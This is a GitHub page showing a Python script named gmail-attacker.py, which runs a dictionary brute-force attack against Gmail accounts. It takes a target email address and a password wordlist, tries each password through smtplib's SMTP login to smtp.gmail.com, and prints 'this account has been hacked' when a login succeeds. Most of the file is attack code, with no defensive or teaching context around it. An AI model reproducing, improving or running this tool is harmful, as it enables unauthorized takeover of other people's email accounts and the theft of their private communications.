-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathgmail-attacker.py
73 lines (69 loc) · 2.58 KB
/
gmail-attacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
'''coded by r3dhulk'''
import smtplib
from os import system
def main():
print ('=================================================')
print (' coded by r3dhulk ')
print ('=================================================')
print (' ++++++++++++++++++++ ')
print ('\n ')
print (' _,. ')
print (' ')
print (' ')
print (' ')
print (' _,. ')
print (' ,` -.) ')
print (' ( _/-\\-._ ')
print (' /,|`--._,-^| , ')
print (' \_| |`-._/|| , | ')
print (' | `-, / | / / ')
print (' | || | / / ')
print (' `r-._||/ __ / / ')
print (' __,-<_ )`-/ `./ / ')
print (' \ `--- \ / / / ')
print (' | |./ / ')
print (' / // / ')
print (' \_/ \ |/ / ')
print (' | | _,^- / / ')
print (' | , `` (\/ /_ ')
print (' \,.->._ \X-=/^ ')
print (' ( / `-._//^` ')
print (' `Y-.____(__} ')
print (' | {__) ')
print (' () ')
main()
print ('[1] start the brute force attack')
print ('[2] exit')
option = input('==>')
if option == 1:
file_path = input('enter the path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = input('enter the target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print (str(i) + '/' + str(len(pass_list)))
try:
server.login(user_name, password)
system('clear')
main()
print ('\n')
print ('[+] this account has been hacked, password :' + password + ' ^_^')
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print ('[+] this account has been hacked, password :' + password + ' ^_^')
break
else:
print ('[!] password not found => ' + password)
login()